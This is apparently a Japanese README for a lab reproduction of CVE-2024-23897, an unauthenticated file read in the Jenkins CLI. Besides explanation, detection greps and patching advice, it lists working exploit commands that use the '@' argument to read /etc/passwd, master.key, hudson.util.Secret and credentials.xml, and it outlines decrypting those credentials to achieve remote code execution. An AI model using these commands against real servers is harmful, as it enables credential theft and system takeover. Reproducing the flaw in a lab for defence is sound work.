
cve-2024-23897-jenkins_lfi_reproduction の再現
CVSS 9.8 (CRITICAL) — 実環境で積極的に悪用されています
CVE-2024-23897 は、Jenkins のコマンドラインインターフェース (CLI) における重大な任意ファイル読み取りの脆弱性です。Jenkins CLI はコマンド引数の解析に args4j ライブラリを使用しています。このライブラリは、@ 文字に続くファイルパス (@/path/to/file) を展開し、そのファイルの内容を読み取って引数として注入します。認証されていない攻撃者は、この動作を悪用して、認証を必要とせずに Jenkins コントローラのファイルシステム上の任意のファイルを読み取ることができます。
この脆弱性は、credentials.xml、secrets、master.key の抽出と組み合わせることで、サーバ全体の完全な侵害 (RCE) につながる可能性があります。
@ 文字の展開args4j ライブラリ (Jenkins の CLI コマンドパーサーで使用) には便利な機能があります。引数が @ で始まる場合、その引数の残りをファイルパスとして扱い、ファイルの内容を読み取って複数の引数に分割します。これは、ファイルを介して大きな引数リストを渡すことを目的としたものでした。
例: java -jar jenkins-cli.jar who-am-i @/etc/passwd を実行すると、args4j が /etc/passwd を読み取り、その内容を who-am-i コマンドの引数として使用します。
特定の CLI コマンド (例: connect-node) は引数の値をエラーメッセージや応答にエコーバックする、または含めるため、攻撃者は CLI の応答でファイルの内容を確認できます。
@/etc/passwd のような引数を指定して CLI コマンドを送信します| 製品 | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| Jenkins (weekly) | ≤ 2.441 | 2.442 |
| Jenkins LTS | ≤ 2.426.2 | 2.426.3 |
| Jenkins LTS (previous) | ≤ 2.414.2 | 2.414.3 |
注記: 上記の修正より前のすべての Jenkins バージョンが影響を受けます。CLI 機能は Jenkins に長年存在しているため、明示的にリストされていない古いバージョンも影響を受けます。
Docker で脆弱性のある Jenkins インスタンスを実行します:
docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
コンテナのログから初期管理者パスワードを確認します。
CLI ポートが開いていることを確認します:
# Jenkins CLI port (TCP 50000) should be listening
# Or you can use the HTTP CLI endpoint at /cli/
必要な依存関係とともに Python 3.8+ をインストールします:
pip install requests
# Basic file read test — read /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd
# Read Jenkins secrets (escalation path)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
# Download the Jenkins CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar
# Read /etc/passwd via the CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1
# Read Jenkins secrets
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1
ファイルの内容が CLI の応答またはエラー出力に表示されます。たとえば、/etc/passwd を読み取ると、システムのパスワードファイルのエントリが返されます。
# Read config to understand the environment
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml
# Read users and permissions
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml
# Extract master key (used to encrypt credentials)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
# Extract the hudson.util.Secret key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret
# Extract credentials (encrypted)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
master.key と hudson.util.Secret を使用すると、jenkins_decrypt.py や CVE-2024-23897 のリファレンスにある decrypt.py スクリプトなどのツールを使って Jenkins の資格情報を復号できます。復号された資格情報 (SSH キー、API トークン、クラウドプロバイダのキー) は、接続されたノードやクラウド環境でのリモートコード実行を達成するために使用できます。
アクセスログまたは CLI 監査ログで、@ の後にファイルパスが続く引数を検索します:
# grep for suspicious CLI access
grep -r "@/" /var/log/jenkins/access.log
# Check for CLI connections from unexpected IPs
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"
直ちにパッチを適用できない場合は、--webroot オプションを設定するかポート 50000 をブロックして CLI ポートを無効化します。ただし、Web UI 内の HTTP CLI エンドポイント (/cli/) は依然として悪用される可能性があるため、パッチの適用を強く推奨します。
このリポジトリは、許可されたセキュリティテストおよび教育目的のみを対象としています。この脆弱性の許可のない悪用は違法です。著者は、この情報の不正使用について一切責任を負いません。自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムでのみテストしてください。
| アクション | 詳細 |
|---|
| Jenkins を更新する | Jenkins 2.442+ または LTS 2.426.3+ / 2.414.3+ にアップグレードします |
| CLI ポートを無効化する | 不要な場合はファイアウォールで TCP ポート 50000 をブロックします |
| ネットワークアクセスを制限する | Jenkins CLI ポートへのアクセスを信頼できるネットワークのみに制限します |
| 認証を有効にする | Jenkins がすべてのアクセスに認証を要求するようにします |
| ログを監視する | アクセスログで @ 引数を含む CLI コマンドを探します |